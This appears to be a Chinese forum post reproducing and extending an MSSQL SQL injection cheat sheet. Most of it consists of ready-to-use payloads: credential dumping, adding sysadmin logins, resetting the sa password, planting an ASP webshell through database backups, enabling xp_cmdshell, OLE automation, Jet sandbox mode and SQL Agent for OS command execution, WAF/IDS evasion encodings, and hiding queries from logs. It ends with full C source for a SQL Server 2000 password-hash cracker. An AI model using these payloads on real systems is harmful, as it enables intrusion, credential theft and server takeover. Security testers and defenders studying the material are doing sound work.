默认数据库
pubs | 不适用于MSSQL 2005 |
model | 适用于所有版本 |
msdb | 适用于所有版本 |
tempdb | 适用于所有版本 |
northwind | 适用于所有版本 |
information_schema | 适用于MSSQL 2000及更高版本 |
注释掉查询
下面可以用来注释掉你注射后查询的其余部分:
/ * | C语言风格注释 |
-- | SQL注释 |
; 00% | 空字节 |
示例:
SELECT * FROM Users WHERE username = '' OR 1=1 --' AND password = ''; SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3/*';
测试版本:
@@VERSION
示例:
如果MSSQL的版本是2008
SELECT * FROM Users WHERE id = '1' AND @@VERSION LIKE '%2008%';
附:输出结果包含Windows操作系统的版本。
数据库凭据
数据库表 | master..syslogins, master..sysprocesses |
列名 | name, loginame |
当前用户 | user, system_user, suser_sname(), is_srvrolemember('sysadmin') |
数据库凭据 | SELECT user, password FROM master.dbo.sysxlogins |
示例:
返回当前用户:
SELECT loginame FROM master..sysprocesses WHERE spid=@@SPID;
检查用户是否为admin:
SELECT (CASE WHEN (IS_SRVROLEMEMBER('sysadmin')=1) THEN '1' ELSE '0' END);
数据库名称
数据库表 | master..sysdatabases |
列 | name |
当前前数据库 | DB_NAME(5) |
示例:
SELECT **DB_NAME(5)**; SELECT** name** FROM **master..sysdatabases**;
服务器主机名
@@SERVERNAME SERVERPROPERTY()
示例:
SELECT SERVERPROPERTY('productversion'), SERVERPROPERTY('productlevel'), SERVERPROPERTY('edition');
附:
SERVERPROPERTY() 适用于MSSQL 2000及更高版本。
表和列
确定列数
ORDER BY n+1;
示例: 查询语句:
SELECT username, password, permission FROM Users WHERE id = '1';
1' ORDER BY 1-- | True |
1' ORDER BY 2-- | True |
1' ORDER BY 3-- | True |
1' ORDER BY 4-- | False - 列数为3 |
-1' UNION SELECT 1,2,3-- | True |
附: 不断递增的列数,直到得到一个错误的响应。
GROUP BY / HAVING 获取当前查询的列名
示例: 给出的查询:
SELECT username, password, permission FROM Users WHERE id = '1';
1' HAVING 1=1-- | 选择列表中的列 'Users.username' 无效,因为该列没有包含在聚合函数或 GROUP BY 子句中。 |
1' GROUP BY username HAVING 1=1-- | True |
选择列表中的列 'Users.username' 无效,因为该列没有包含在聚合函数或 GROUP BY 子句中。 | True |
1' GROUP BY username, password HAVING 1=1-- | 选择列表中的列 'Users.username' 无效,因为该列没有包含在聚合函数或 GROUP BY 子句中。 |
1' GROUP BY username, password, permission HAVING 1=1-- | 没有错误 |
附:一旦匹配所有的列将返回正常请求页面.
检索表
我们可以从两个不同的数据库,information_schema.tables
或 from master..sysobjects
中检索表。
联合查询:
UNION SELECT name FROM master..sysobjects WHERE xtype='U'
附:
U = 用户表, V = 视图 , X = 扩展存储过程
盲注类型:
AND SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables > 'A'
报错类型:
AND 1 = (SELECT TOP 1 table_name FROM information_schema.tables) AND 1 = (SELECT TOP 1 table_name FROM information_schema.tables WHERE table_name NOT IN(SELECT TOP 1 table_name FROM information_schema.tables))
检索列
我们可以从两个不同的数据库,information_schema.columns
或 masters..syscolumns
中检索列。
联合查询:
UNION SELECT name FROM master..syscolumns WHERE id = (SELECT id FROM master..syscolumns WHERE name = 'tablename')
盲注类型:
AND SELECT SUBSTRING(column_name,1,1) FROM information_schema.columns > 'A'
报错类型:
AND 1 = (SELECT TOP 1 column_name FROM information_schema.columns) AND 1 = (SELECT TOP 1 column_name FROM information_schema.columns WHERE column_name NOT IN(SELECT TOP 1 column_name FROM information_schema.columns))
一次性检索多个表
下面的3个查询将创建一个临时表/列 并插入所有用户定义的表,然后把表的内容进行转储并删除
创建临时表/列和插入数据:
AND 1=0; BEGIN DECLARE @xy varchar(8000) SET @xy=':' SELECT @xy=@xy+' '+name FROM sysobjects WHERE xtype='U' AND name>@xy SELECT @xy AS xy INTO TMP_DB END;
转储内容:
AND 1=(SELECT TOP 1 SUBSTRING(xy,1,353) FROM TMP_DB);
删除表:
AND 1=0; DROP TABLE TMP_DB;
MSSQL2005及更高版本中使用xml for path 函数作为连接符,可一次性查询所有表。
SELECT table_name %2b ', ' FROM information_schema.tables FOR XML PATH('') SQL Server 2005+
附: 代码可以用十六进制进行混淆
' AND 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x44524f50205441424c4520544d505f44423b AS VARCHAR(4000)); EXEC (@S);--
避免引用序号
SELECT * FROM Users WHERE username = CHAR(97) + CHAR(100) + CHAR(109) + CHAR(105) + CHAR(110)
字符串连接
SELECT CONCAT('a','a','a'); (SQL SERVER 2012) SELECT 'a'+'d'+'mi'+'n';
条件语句
IF CASE
示例:
IF 1=1 SELECT 'true' ELSE SELECT 'false'; SELECT CASE WHEN 1=1 THEN true ELSE false END;
附:IF不能在SELECT语句中使用。
时间延迟:
WAITFOR DELAY 'time_to_pass'; WAITFOR TIME 'time_to_execute';
示例:
IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0';
OPENROWSET攻击
SELECT * FROM OPENROWSET('SQLOLEDB', '127.0.0.1';'sa';'p4ssw0rd', 'SET FMTONLY OFF execute master..xp_cmdshell "dir"');
OPENROWSET 在MSSQL 2005及以上版本中默认是禁用的.
激活OPENROWSET的语句:
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
添加数据库用户
exec sp_addlogin 'name' , 'password' exec sp_addsrvrolemember 'name' , 'sysadmin' 加为数据库管理员
修改sa用户密码
EXEC sp_password NULL,'NewPassword','sa' (适用于SQL2000及以上) alter login [sa] with password=N'NewPassword' (适用于SQL2005及以上) ;exec master.dbo.sp_password null,username,password;--
Get WebShell
差异备份: 创建差异数据库备份需要有以前的完整数据库备份。 如果选定的数据库从未进行过备份,则请在创建任何差异备份之前,先执行完整数据库备份。
方法1
backup database 库名 to disk = 'c:\tmp.bak';create table [dbo].[test_tmp] ([cmd] [image]);insert into test_tmp(cmd) values(0x3C25657865637574652872657175657374282261222929253E);backup database 库名 to disk='c:\shell.asp' WITH DIFFERENTIAL,FORMAT;
方法2 (减小体积)
alter database web1 set RECOVERY FULL;create table test_tmp (a image);backup log web1 to disk = 'c:\cmd' with init;insert into test_tmp (a) values (0x3C25657865637574652872657175657374282261222929253EDA);backup log web1 to disk = 'c:\shell.asp'--
*0x3C25657865637574652872657175657374282261222929253E = <%execute(request("a"))%>
sp_makewebtask 备份(需sa权限)
exec sp_makewebtask 'c:\shell.asp',' select ''<%25execute(request("a"))%25>'' ';
注:sp_makewebtask存储过程在MSSQL 2005及以上版本中默认是禁用的
激活 sp_makewebtask存储过程的语句:
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Web Assistant Procedures',1;RECONFIGURE;
系统命令执行
1. 使用xp_cmdshell存储过程执行操作系统命令。
EXEC master.dbo.xp_cmdshell 'cmd';
xp_cmdshell
存储过程在MSSQL 2005及以上版本中默认是禁用的.
激活 xp_cmdshell
存储过程的语句:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
检查是否xp_cmdshell是否加载,如果是,将继续检查是否处于活动状态,然后继续执行“DIR”命令并将结果插入到TMP_DB表中:
示例:
' IF EXISTS (SELECT 1 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME='TMP_DB') DROP TABLE TMP_DB DECLARE @a varchar(8000) IF EXISTS(SELECT * FROM dbo.sysobjects WHERE id = object_id (N'[dbo].[xp_cmdshell]') AND OBJECTPROPERTY (id, N'IsExtendedProc') = 1) BEGIN CREATE TABLE %23xp_cmdshell (name nvarchar(11), min int, max int, config_value int, run_value int) INSERT %23xp_cmdshell EXEC master..sp_configure 'xp_cmdshell' IF EXISTS (SELECT * FROM %23xp_cmdshell WHERE config_value=1)BEGIN CREATE TABLE %23Data (dir varchar(8000)) INSERT %23Data EXEC master..xp_cmdshell 'dir' SELECT @a='' SELECT @a=Replace(@a%2B'<br></font><font color="black">'%2Bdir,'<dir>','</font><font color="orange">') FROM %23Data WHERE dir>@a DROP TABLE %23Data END ELSE SELECT @a='xp_cmdshell not enabled' DROP TABLE %23xp_cmdshell END ELSE SELECT @a='xp_cmdshell not found' SELECT @a AS tbl INTO TMP_DB--
转储内容:
' UNION SELECT tbl FROM TMP_DB--
删除表:
' DROP TABLE TMP_DB--
2.利用sp_OACREATE和sp_OAMethod调用控件执行系统命令:
DECLARE @execmd INT EXEC SP_OACREATE 'wscript.shell', @execmd OUTPUT EXEC SP_OAMETHOD @execmd, 'run', null, '%systemroot%\system32\cmd.exe [[/c]] ver >C:\inetpub\wwwroot\test.txt'
sp_oacreate
存储过程在MSSQL 2005及以上版本中默认是禁用的.
激活 sp_oacreate 存储过程的语句:
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
附:SQL Server 提供了sp_OACREATE和sp_OAMethod函数,可以利用这两个函数调用OLE控件,间接获取一个shell。使用SP_OAcreate调用对象wscript。shell赋给变量@shell,然后使用SP_OAMETHOD调用@shell的属性run执行命令。
3.JET 沙盒模式执行系统命令(Sandbox Mode)
在默认情况下Jet数据引擎不支持select shell("net user ")这样的SQL语句,必须开启JET引擎的沙盒模式才能执行命令,先利用xp_regwrite
存储过程改写注册表,然后利用OpenRowSet访问一个ACCESS数据库文件,再执行运行命令的SQL语句。
激活沙盒模式:
Windows 2003
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;--
Windows 2008 R2
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Wow6432Node\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
Windows 2003 + SQL Server2000 沙盒模式执行命令的语句:
(Windows 2003 系统c:\windows\system32\ias\目录下默认自带了2个Access数据库文件ias.mdb/dnary.mdb,所以直接调用即可.)
select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user >c:\test.txt ")');
Windows 2008 R2+SQL Server2005 沙盒模式执行命令的语句:
( Windows 2008 R2 默认无Access数据库文件,需要自己上传,或者用UNC路径加载文件方能执行命令.)
select * from openrowset('microsoft.jet.oledb.4.0',';database=\\192.168.1.8\file\ias.mdb','select shell("c:\windows\system32\cmd.exe /c net user >c:\test.txt ")');
( SQL Server2008 默认未注册microsoft.jet.oledb.4.0接口,所以无法利用沙盒模式执行系统命令.)
4.OPENROWSET调用xp_cmdshell 执行系统命令:
(在知道sa权限帐号密码情况下,db_owner或者public的数据库权限使用OPENROWSET调用xp_cmdshell 执行系统命令.)
SELECT * FROM OPENROWSET('SQLOLEDB', '127.0.0.1';'sa';'p4ssw0rd', 'SET FMTONLY OFF execute master..xp_cmdshell "ver"');
小技巧:
使用 for xml 实现执行内容回显:
for xml raw/auto | 适用于SQL Server 2000及以上版本 **(**附**:此法只能取首行数据,问题待解决.)** |
or 1 in(SELECT * FROM OPENROWSET('SQLOLEDB', 'trusted_connection=yes', 'SET FMTONLY OFF execute master..xp_cmdshell "set"'))for xml raw or 1 in(SELECT * FROM OPENROWSET('SQLOLEDB', 'trusted_connection=yes', 'SET FMTONLY OFF execute master..xp_cmdshell "set"'))for xml auto
for xml path | 适用于SQL Server 2005及以上版本,虽然是一次性获取所有内容,但是取出内容数量取决于表定义的长度. |
SELECT * FROM OPENROWSET('SQLOLEDB', 'trusted_connection=yes', 'SET FMTONLY OFF execute master..xp_cmdshell "ver"') for xml path SELECT * FROM OPENROWSET('SQLOLEDB', '192.168.1.117';'sa';'123456', 'SET FMTONLY OFF execute master..xp_cmdshell "ver"')for xml path
附:
回显内容超过表定义长度将会出现内容为 "将截断字符串或二进制数据。"的错误
5.SQL代理执行系统命令(SQLSERVERAGENT):
use msdb exec sp_delete_job null,'x';exec sp_add_job 'x';exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net start >C:\test.txt';exec sp_add_jobserver Null,'x',@@servername exec sp_start_job 'x';
(SQLSERVERAGENT服务默认是禁用的,先利用xp_servicecontrol激活SQLSERVERAGENT,然后建立一个SQL计划任务马上运行这个SQL任务实现命令执行。)
激活SQLSERVERAGENT的语句:
exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'
其他获取系统信息的函数
1.历遍目录
exec master.dbo.xp_dirtree 'c:\'
2.获取子目录
exec master.dbo.xp_subdirs 'c:\'
3.列举可用的系统分区
exec master.dbo.xp_availablemedia
4.判断目录或文件是否存在
exec master..xp_fileexist 'c:\boot.ini'
SP_PASSWORD (隐藏查询)
在查询结束后追加sp_password,T-SQL日志作为一项安全措施隐藏它。
SP_PASSWORD
Example:
' AND 1=1--sp_password
输出:
-- 'sp_password的'在该事件文本中被发现。('sp_password' was found in the text of this event.) -- 出于安全原因,该文本已被替换成注释。( The text has been replaced with this comment for security reasons.)
- 这个方法不理解,望小伙伴们解答.
层叠查询
( MSSQL支持 层叠查询)
示例:
' AND 1=0 INSERT INTO ([column1], [column2]) VALUES ('value1', 'value2');
模糊测试和混淆
允许中间字符
以下字符可以作为空格符。
示例:
S%E%L%E%C%T%01column%02FROM%03table; A%%ND 1=%%%%%%%%1;
附: 关键词之间的百分比符号只在ASP(X)的Web应用程序中有效。
下面的字符也可用来避免空格。
22 " 28 ( 29 ) 5B [ 5D ]
示例:
UNION(SELECT(column)FROM(table)); SELECT"table_name"FROM[information_schema].[tables];
AND/OR可以使用中间符号:
01 - 20 范围 21 ! 2B + 2D - 2E . 5C \ 7E ~
示例:
SELECT 1FROM[table]WHERE\1=\1AND\1=\1;
附: 反斜杠似乎不适用于MSSQL 2000中.
编码
编码注射语句,有利于躲避WAF / IDS检查。
URL编码(URL Encoding) | SELECT %74able_%6eame FROM information_schema.tables; |
双重URL编码(Double URL Encoding) | SELECT %2574able_%256eame FROM information_schema.tables; |
Unicode编码(Unicode Encoding) | SELECT %u0074able_%u6eame FROM information_schema.tables; |
无效的十六进制编码(Invalid Hex Encoding (ASP) | SELECT %tab%le_%na%me FROM information_schema.tables; |
十六进制编码(Hex Encoding) | ' AND 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x53454c4543542031 AS VARCHAR(4000)); EXEC (@S);-- |
HTML实体(HTML Entities 待验证) | %26%2365%3B%26%2378%3B%26%2368%3B%26%2332%3B%26%2349%3B%26%2361%3B%26%2349%3B |
密码散列
从0x0100密码开始,0x 后的第一个字节是一个常数,接下来的八个字节是哈希盐,剩下的80个字节是两个散列,第一40个字节是区分大小写的密码哈希值,而第二个40字节为大写形式密码哈希值。
0x0100236A261CE12AB57BA22A7F44CE3B780E52098378B65852892EEE91C0784B911D76BF4EB124550ACABDFD1457
密码破解
可以利用Metasploit的JTR模块进行破解
http://www.rapid7.com/db/modules/auxiliary/analyze/jtr_mssql_fast
MSSQL 2000密码破解
(此工具用于破解微软的SQL Server 2000的密码。)
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|
/////////////////////////////////////////////////////////////////////////////////
//
// SQLCrackCl
//
// This will perform a dictionary attack against the
// upper-cased hash for a password. Once this
// has been discovered try all case variant to work
// out the case sensitive password.
//
// This code was written by David Litchfield to
// demonstrate how Microsoft SQL Server 2000
// passwords can be attacked. This can be
// optimized considerably by not using the CryptoAPI.
//
// (Compile with VC++ and link with advapi32.lib
// Ensure the Platform SDK has been installed, too!)
//
//////////////////////////////////////////////////////////////////////////////////
#include <stdio.h>
#include <windows.h>
#include <wincrypt.h>
FILE *fd=NULL; char *lerr = "\nLength Error!\n" ; int wd=0; int OpenPasswordFile( char *pwdfile); int CrackPassword( char *hash); int main( int argc, char *argv[]) {
int err = 0;
if
(argc !=3)
{
printf
(
"\n\n*** SQLCrack *** \n\n"
);
printf
(
"C:\\>%s hash passwd-file\n\n"
,argv[0]);
printf
(
"24th June 2002\n"
);
return 0;
}
err = OpenPasswordFile(argv[2]);
if
(err !=0)
{
return printf ( "\nThere was an error opening the password file %s\n" ,argv[2]);
}
err = CrackPassword(argv[1]);
fclose
(fd);
printf
(
"\n\n%d"
,wd);
return 0; }
int OpenPasswordFile( char *pwdfile) {
fd =
fopen
(pwdfile,
"r"
);
if
(fd)
return 0;
else
return 1; }
int CrackPassword( char *hash) {
char phash[100]= "" ; char pheader[8]= "" ; char pkey[12]= "" ; char pnorm[44]= "" ; char pucase[44]= "" ; char pucfirst[8]= "" ; char wttf[44]= "" ; char uwttf[100]= "" ; char *wp=NULL; char *ptr=NULL; int cnt = 0; int count = 0; unsigned int key=0; unsigned int t=0; unsigned int address = 0; unsigned char cmp=0; unsigned char x=0;
HCRYPTPROV hProv=0;
HCRYPTHASH hHash;
DWORD hl=100; unsigned char szhash[100]= "" ; int len=0; if
(
strlen
(hash) !=94)
{
return printf ( "\nThe password hash is too short!\n" );
}
if (hash[0]==0x30 && (hash[1]== 'x' || hash[1] == 'X' ))
{
hash = hash + 2;
strncpy
(pheader,hash,4);
printf
(
"\nHeader\t\t: %s"
,pheader);
if
(
strlen
(pheader)!=4)
return printf ( "%s" ,lerr);
hash = hash + 4;
strncpy
(pkey,hash,8);
printf
(
"\nRand key\t: %s"
,pkey);
if
(
strlen
(pkey)!=8)
return printf ( "%s" ,lerr);
hash = hash + 8;
strncpy
(pnorm,hash,40);
printf
(
"\nNormal\t\t: %s"
,pnorm);
if
(
strlen
(pnorm)!=40)
return printf ( "%s" ,lerr);
hash = hash + 40;
strncpy
(pucase,hash,40);
printf
(
"\nUpper Case\t: %s"
,pucase);
if
(
strlen
(pucase)!=40)
return printf ( "%s" ,lerr);
strncpy
(pucfirst,pucase,2);
sscanf
(pucfirst,
"%x"
,&cmp);
}
else
{
return printf ( "The password hash has an invalid format!\n" );
}
printf
(
"\n\n Trying...\n"
);
if
(!CryptAcquireContextW(&hProv, NULL , NULL , PROV_RSA_FULL ,0))
{
if
(GetLastError()==NTE_BAD_KEYSET)
{
// KeySet does not exist. So create a new keyset
if
(!CryptAcquireContext(&hProv,
NULL,
NULL,
PROV_RSA_FULL,
CRYPT_NEWKEYSET ))
{
printf
(
"FAILLLLLLL!!!"
);
return FALSE;
}
}
}
while
(1)
{
// get a word to try from the file
ZeroMemory(wttf,44);
if
(!
fgets
(wttf,40,fd))
return printf ( "\nEnd of password file. Didn't find the password.\n" );
wd++;
len =
strlen
(wttf);
wttf[len-1]=0x00;
ZeroMemory(uwttf,84);
// Convert the word to UNICODE
while
(count < len)
{
uwttf[cnt]=wttf[count];
cnt++;
uwttf[cnt]=0x00;
count++;
cnt++;
}
len --;
wp = &uwttf;
sscanf
(pkey,
"%x"
,&key);
cnt = cnt - 2;
// Append the random stuff to the end of
// the uppercase unicode password
t = key >> 24;
x = (unsigned
char
) t;
uwttf[cnt]=x;
cnt++;
t = key << 8;
t = t >> 24;
x = (unsigned
char
) t;
uwttf[cnt]=x;
cnt++;
t = key << 16;
t = t >> 24;
x = (unsigned
char
) t;
uwttf[cnt]=x;
cnt++;
t = key << 24;
t = t >> 24;
x = (unsigned
char
) t;
uwttf[cnt]=x;
cnt++;
// Create the hash
if
(!CryptCreateHash(hProv, CALG_SHA, 0 , 0, &hHash))
{
printf
(
"Error %x during CryptCreatHash!\n"
, GetLastError());
return 0;
}
if (!CryptHashData(hHash, ( BYTE *)uwttf, len*2+4, 0))
{
printf
(
"Error %x during CryptHashData!\n"
, GetLastError());
return FALSE;
}
CryptGetHashParam(hHash,HP_HASHVAL,(byte*)szhash,&hl,0);
// Test the first byte only. Much quicker.
if
(szhash[0] == cmp)
{
// If first byte matches try the rest
ptr = pucase;
cnt = 1;
while
(cnt < 20)
{
ptr = ptr + 2;
strncpy
(pucfirst,ptr,2);
sscanf
(pucfirst,
"%x"
,&cmp);
if
(szhash[cnt]==cmp)
cnt ++;
else
{
break
;
}
}
if
(cnt == 20)
{
// We've found the password
printf
(
"\nA MATCH!!! Password is %s\n"
,wttf);
return 0;
}
}
count = 0;
cnt=0;
}
return 0; }
|
PS:英文原文内容来源于:http://websec.ca/kb/sql_injection#MSSQL_Testing_Version
楼主在原内容基础上进行了一些补充,并分享了一些在测试过程中发现的技巧.
参考来源: http://websec.ca/kb/sql_injection#MSSQL_Testing_Version http://safe.it168.com/ss/2007-09-10/200709100935438.shtml